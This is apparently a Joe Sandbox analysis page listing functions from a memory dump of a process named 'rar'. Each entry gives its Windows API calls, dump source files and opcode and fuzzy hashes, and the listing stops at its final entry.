Part of subcall function 00007FF6EE747B44: GetFileType.KERNELBASE(?,?,?,00007FF6EE747A9E), ref: 00007FF6EE747B56
Part of subcall function 00007FF6EE747B44: GetConsoleMode.KERNEL32(?,?,?,00007FF6EE747A9E), ref: 00007FF6EE747B69

Part of subcall function 00007FF6EE792ABC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE792AD0

Part of subcall function 00007FF6EE792B40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE792C1C

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$setbuf$ConsoleFileHandleModeType
String ID:
API String ID: 4044681568-0
Opcode ID: 4e01616fa307debef67f3bdae5e4254b32b96fa30cb3d95000aeda74735f0c5a
Instruction ID: d24e129626aea37349382c5e23b96d385950e42f4bd5e963407395c454517dd7
Opcode Fuzzy Hash: 4e01616fa307debef67f3bdae5e4254b32b96fa30cb3d95000aeda74735f0c5a
Instruction Fuzzy Hash: 0501B002E1E18206FF18B3B5E4A67B914828FA1310F438179F51D8A3D7DD9F2426C35B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE752440 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF6EE752480
GetLastError.KERNEL32 ref: 00007FF6EE75248D

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction ID: e294ac3c743b7b7cdc3d7e4ad9b3ff28142027bd3b2ea61cd1681d6d7d95fb3c
Opcode Fuzzy Hash: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction Fuzzy Hash: FA018E23A08682C2EF649B69E4443782360EB64778F154331F13D852E5CFAED9ABC705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7530C8 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000800,00007FF6EE75305D,?,?,?,?,?,?,?,?,00007FF6EE764126,?,?,?,?,00000800), ref: 00007FF6EE7530F0
GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF6EE764126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF6EE753119

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction ID: 333383148a185bdc9f5f720b91e761140e2c562198370ee1bd79b59918651985
Opcode Fuzzy Hash: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction Fuzzy Hash: CFF0A422B1868181EF609B25F4443AD6250BB6C7D4F410531F9DCC379DDEAED594C609

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77B3F0 Relevance: 3.0, APIs: 2, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF6EE77B41E
LoadLibraryW.KERNELBASE ref: 00007FF6EE77B449

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction ID: 5249407879d82bc38840a51b9a303771246944a08a44046d34e06ef3f7427254
Opcode Fuzzy Hash: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction Fuzzy Hash: 65F06823B1858145FF709B10E8153F96254FF68784F810031F9CDC269DEE6DD165C605

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77BA70 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6EE77BACD), ref: 00007FF6EE77BA74
GetProcessAffinityMask.KERNEL32 ref: 00007FF6EE77BA87

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction ID: cd5e36cedcf185fac1a7789750517dd81c3ab09a03ed711a7cef5b845be92eaf
Opcode Fuzzy Hash: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction Fuzzy Hash: 86E02B22B3445146DFD89719D495FAD2391EF64B80F812035F44FC3A54ED5EC454CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE794A74 Relevance: 3.0, APIs: 2, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlReleasePrivilege.NTDLL ref: 00007FF6EE794A8A
GetLastError.KERNEL32 ref: 00007FF6EE794A9C

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ErrorLastPrivilegeRelease
String ID:
API String ID: 1334314998-0
Opcode ID: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction ID: 4c4b8bc472ade058ca5e5ac8b74dda2bda1173c3dfba63268fdc0b0e5d4a4795
Opcode Fuzzy Hash: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction Fuzzy Hash: 0FE04F73E1918342FF1497B2D4443741291AF64745F474434F90DCA255FEAFA4A1C24E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7771FC Relevance: 1.9, APIs: 1, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b45582bae7dd69f792145e90e6da2b9b411708c317b45820f8f66ef8b840033
Instruction ID: b4c118e172428d0edd128365f40e121a13f162b0efa7ae5a548345e38dd4265c
Opcode Fuzzy Hash: 7b45582bae7dd69f792145e90e6da2b9b411708c317b45820f8f66ef8b840033
Instruction Fuzzy Hash: D7E1D423A0C68241FF209A20D4443B92751EF61B8BF064135FE4DCB7DADEAEA475C71A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7372C4 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6EE76915C: new.LIBCMT ref: 00007FF6EE7691CA
Part of subcall function 00007FF6EE76915C: new.LIBCMT ref: 00007FF6EE7691F2

new.LIBCMT ref: 00007FF6EE7373DE

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c86521b1d8875bcba69ce37d260f22ca13c49f0672248d2e89784453983af802
Instruction ID: 17408bd306b60f89a47a448866f862f313a4647931594f6bd873ddc025782545
Opcode Fuzzy Hash: c86521b1d8875bcba69ce37d260f22ca13c49f0672248d2e89784453983af802
Instruction Fuzzy Hash: 6B514973528BD195EB009F24E8442ED37A8F754F88F19423AEB884B79ADF795061C336

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE79231C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6EE792344

Part of subcall function 00007FF6EE7924D4: GetModuleHandleExW.KERNEL32 ref: 00007FF6EE7924F4
Part of subcall function 00007FF6EE7924D4: GetProcAddress.KERNEL32 ref: 00007FF6EE79250A
Part of subcall function 00007FF6EE7924D4: FreeLibrary.KERNEL32 ref: 00007FF6EE79252F

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction ID: d65239e719089890ac6bffecdb56db627a600ed8224b913e1bb595770a05a88c
Opcode Fuzzy Hash: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction Fuzzy Hash: C6416023A0968382FF68AB65E4503782251AFA0744F074439F90D877A5DFBFE865C74A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE798050 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE798084

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 81a00aba03bed044d944170de60365d76bbe78fde453a36ffdf0bcb9fcb17f33
Instruction ID: f18c15483cc413971633b5fb48657849badcdfc1286ceba483c6131a03b54d00
Opcode Fuzzy Hash: 81a00aba03bed044d944170de60365d76bbe78fde453a36ffdf0bcb9fcb17f33
Instruction Fuzzy Hash: C911293391C68682FB109B94F54073962A4EF61380F570135F68D87696DFBFE860CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE744D1C Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00007FF6EE744D47

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction ID: 4423f8439d0b3dbd561244a2335d0a2bc6674b2e1e27077b4171d3717c47cbb8
Opcode Fuzzy Hash: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction Fuzzy Hash: 2C01C81360C94245EF10B716E40037D5661BF65794F4A0432FF4D47365EE7ED4A2D70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE794B8C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cd8da7e225d4e054d7198354b045464c529c48aefb4b06018a4c08b75c41078c
Instruction ID: 38ad4a5b2a2b56bb81771ecbf8277686d1cd7f2294f7cf6b43f07f37954ae7c1
Opcode Fuzzy Hash: cd8da7e225d4e054d7198354b045464c529c48aefb4b06018a4c08b75c41078c
Instruction Fuzzy Hash: A1018C23A0C6C240FF24A666D68037911905F65BD0F0B8230FD1DC62D6FD9FA4A1C20E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE794B14 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF6EE794B69

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c516406bf9b650796cf782c2d93797a14115aaa58b2b73e6f8591929e1e8cc7b
Instruction ID: c558df422494566a1d2e436d544b0384aa5352f731067b8dd3878b2c51e51bd1
Opcode Fuzzy Hash: c516406bf9b650796cf782c2d93797a14115aaa58b2b73e6f8591929e1e8cc7b
Instruction Fuzzy Hash: 4CF0AF36B0928341FF545665C5803B412801F68B80F4F5430E90DC67D1FE9FE8E0C21A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE754554 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 00007FF6EE754590

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
